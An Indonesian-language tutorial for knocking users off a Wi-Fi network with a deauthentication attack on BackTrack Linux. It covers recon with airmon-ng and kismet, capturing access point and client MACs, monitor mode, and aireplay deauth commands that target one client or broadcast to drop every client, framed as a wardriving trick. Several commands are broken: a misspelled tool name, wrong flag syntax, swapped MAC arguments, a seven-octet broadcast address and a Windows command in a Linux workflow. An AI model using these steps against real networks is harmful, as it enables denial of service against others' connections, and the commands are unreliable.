Persiapan :
Burn Bactrack ISO file hasil download di CD Blank. Boot sampai selesai menggunakan ini. Check usb wireless adapter for Madwifi Driver support. Gunakan teminal window / shell konsole
Gunakan perintah iwconfig untuk melihat wireless adapter yang tercipta.
iwconfig
Gunakan perintah airmon-ng untuk melihat infomasi wireless adapter.airmon-ng
Gunakan kismet untuk mengetahui infomasi :- Network lain yang terdeteksi
- Matikan autofit - shortcut “s”
- Sort berdasarkan SSID – shortcut “f”
- Network detail – Informasi lebih lanjut – shortcut “i”
- Catat BSSID / MAC Address Access Point, channel
- Show client in the current network – shortcut “c” – untuk melihat informasi client yang terhubung AP diatas.
- Shortcut “x” (exit), tunggu beberapa saat, shortcut “c” lagi untuk refresh informasi client jika memperbaharui client yang terkoneksi.
Untuk informasi wireless adapter kita (MAC Address) , gunakan ipconfig
ipconfig/all
..Dari persiapan di atas, kita mendapatkan informasi Wireless Adapter, SSID, Channel, MAC AP (BSSID), MAC Client….Misal :
Wireless Adapter : wifi0, ath0 dan eth0
SSID : YourNet
Channel : 1
MAC AP (BSSID) : 00:18:39:39:23:66
MAC Client : 00:18:DE:C3:D8:58
Deauthentication
Serangan deauthentication, kita harus mengirimkan paket deauthentication melalui wireless network adapter. Wireless Adapter yang kita pakai harus mendukung feature ini.
Buat virtual adapter baru
airmon-ng start wifi0
virtual adapter ath1 akan terbentuk. Aktifkan virtual adapter tersebut !!ifconfig ath1 up
iwconfig ath1 mode monitor channel 1
aireply-ng deauth 10 -c 00:18:39:39:23:66 -a 00:18:DE:C3:D8:58 ath1
Paket deauthentication yang terkirim 10 kali berturut-turut dengan MAC client yang akan di disconnect ( 00:18:DE:C3:D8:58 ) dan MAC Address dari AP ( 00:18:39:39:23:66 ). Pengiriman paket melalui wireless adapter ath1.iwconfig ath1 mode monitor channel 1
aireply-ng deauth 10 -c 00:18:39:39:23:66 -a 00:18:DE:C3:D8:58 ath1
atau kirim ke alamat broadcast
aireply-ng deauth 10 -c FF:FF:FF:FF:FF:FF:FF -a 00:18:39:39:23:66 ath1
untuk memutus semua client…Jika injection packet deauthentication berhasil dilakukan, pada beberapa reply request, akan menampilkan Request time out dan General failure …. Serangan ini tidak bisa dicegah dengan WEP, WPA, WPA2
Trick ini merupakan salah satu wardriving dengan menggunakan Linux dengan distro backtrack..
